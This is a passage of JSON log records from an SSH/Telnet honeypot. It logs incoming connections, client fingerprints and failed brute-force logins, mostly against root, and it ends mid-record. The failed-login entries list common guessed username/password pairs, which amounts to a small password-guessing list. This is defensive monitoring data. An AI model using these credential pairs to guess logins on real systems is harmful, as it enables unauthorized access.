{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:26.283828Z","src_ip":"83.168.110.85","session":"9f57241804a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42532,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b88214dfff","protocol":"telnet","message":"New connection: 176.65.139.118:42532 (159.203.135.109:23) [session: 30b88214dfff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:26.330129Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:27.409794Z","src_ip":"83.168.110.85","session":"9f57241804a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54388,"dst_ip":"10.17.0.5","dst_port":22,"session":"c590097468e1","protocol":"ssh","message":"New connection: 83.168.110.85:54388 (10.17.0.5:22) [session: c590097468e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:32.561322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:32.795979Z","src_ip":"83.168.110.85","session":"c590097468e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:32.838881Z","src_ip":"83.168.110.85","session":"c590097468e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:33.275863Z","src_ip":"83.168.110.85","session":"c590097468e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:34.565876Z","src_ip":"83.168.110.85","session":"c590097468e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36418,"dst_ip":"10.17.0.5","dst_port":22,"session":"130eb539fd62","protocol":"ssh","message":"New connection: 83.168.110.85:36418 (10.17.0.5:22) [session: 130eb539fd62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:39.747518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:39.752356Z","src_ip":"83.168.110.85","session":"130eb539fd62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:39.873441Z","src_ip":"83.168.110.85","session":"130eb539fd62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:40.239978Z","src_ip":"83.168.110.85","session":"130eb539fd62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:41.509058Z","src_ip":"83.168.110.85","session":"130eb539fd62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42064,"dst_ip":"10.17.0.5","dst_port":22,"session":"d294a89e3889","protocol":"ssh","message":"New connection: 83.168.110.85:42064 (10.17.0.5:22) [session: d294a89e3889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:46.761032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:46.766095Z","src_ip":"83.168.110.85","session":"d294a89e3889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:46.888277Z","src_ip":"83.168.110.85","session":"d294a89e3889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58014,"dst_ip":"10.17.0.5","dst_port":23,"session":"973e17590e05","protocol":"telnet","message":"New connection: 152.42.224.71:58014 (10.17.0.5:23) [session: 973e17590e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:47.185956Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:47.261955Z","src_ip":"83.168.110.85","session":"d294a89e3889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:48.483491Z","src_ip":"83.168.110.85","session":"d294a89e3889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42088,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b7ca20eda8a","protocol":"ssh","message":"New connection: 83.168.110.85:42088 (10.17.0.5:22) [session: 2b7ca20eda8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:53.643704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:53.648440Z","src_ip":"83.168.110.85","session":"2b7ca20eda8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:53.769324Z","src_ip":"83.168.110.85","session":"2b7ca20eda8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:54.136615Z","src_ip":"83.168.110.85","session":"2b7ca20eda8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":1059,"dst_ip":"159.203.135.109","dst_port":22,"session":"7453e1a978fe","protocol":"ssh","message":"New connection: 79.127.181.44:1059 (159.203.135.109:22) [session: 7453e1a978fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:54.230800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:54.458069Z","src_ip":"79.127.181.44","session":"7453e1a978fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:54.651742Z","src_ip":"79.127.181.44","session":"7453e1a978fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:54.657715Z","src_ip":"79.127.181.44","session":"7453e1a978fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:55.260884Z","src_ip":"83.168.110.85","session":"2b7ca20eda8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35664,"dst_ip":"159.203.135.109","dst_port":22,"session":"26b1ba0cfb39","protocol":"ssh","message":"New connection: 103.195.236.96:35664 (159.203.135.109:22) [session: 26b1ba0cfb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:58.833726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:58.944037Z","src_ip":"103.195.236.96","session":"26b1ba0cfb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:59.203906Z","src_ip":"103.195.236.96","session":"26b1ba0cfb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barbara","message":"login attempt [root/barbara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:00.092357Z","src_ip":"103.195.236.96","session":"26b1ba0cfb39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57768,"dst_ip":"10.17.0.5","dst_port":22,"session":"882f2159b34e","protocol":"ssh","message":"New connection: 83.168.110.85:57768 (10.17.0.5:22) [session: 882f2159b34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:00.332468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:00.341178Z","src_ip":"83.168.110.85","session":"882f2159b34e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:00.463578Z","src_ip":"83.168.110.85","session":"882f2159b34e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:00.830711Z","src_ip":"83.168.110.85","session":"882f2159b34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:01.341232Z","src_ip":"103.195.236.96","session":"26b1ba0cfb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:01.957088Z","src_ip":"83.168.110.85","session":"882f2159b34e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fa05a9a0fb7","protocol":"ssh","message":"New connection: 83.168.110.85:48084 (10.17.0.5:22) [session: 5fa05a9a0fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:07.185094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:07.189502Z","src_ip":"83.168.110.85","session":"5fa05a9a0fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:07.309816Z","src_ip":"83.168.110.85","session":"5fa05a9a0fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:07.835576Z","src_ip":"83.168.110.85","session":"5fa05a9a0fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:08.972480Z","src_ip":"83.168.110.85","session":"5fa05a9a0fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0631b9b3198","protocol":"ssh","message":"New connection: 83.168.110.85:48096 (10.17.0.5:22) [session: e0631b9b3198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:13.927303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:14.087369Z","src_ip":"83.168.110.85","session":"e0631b9b3198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-51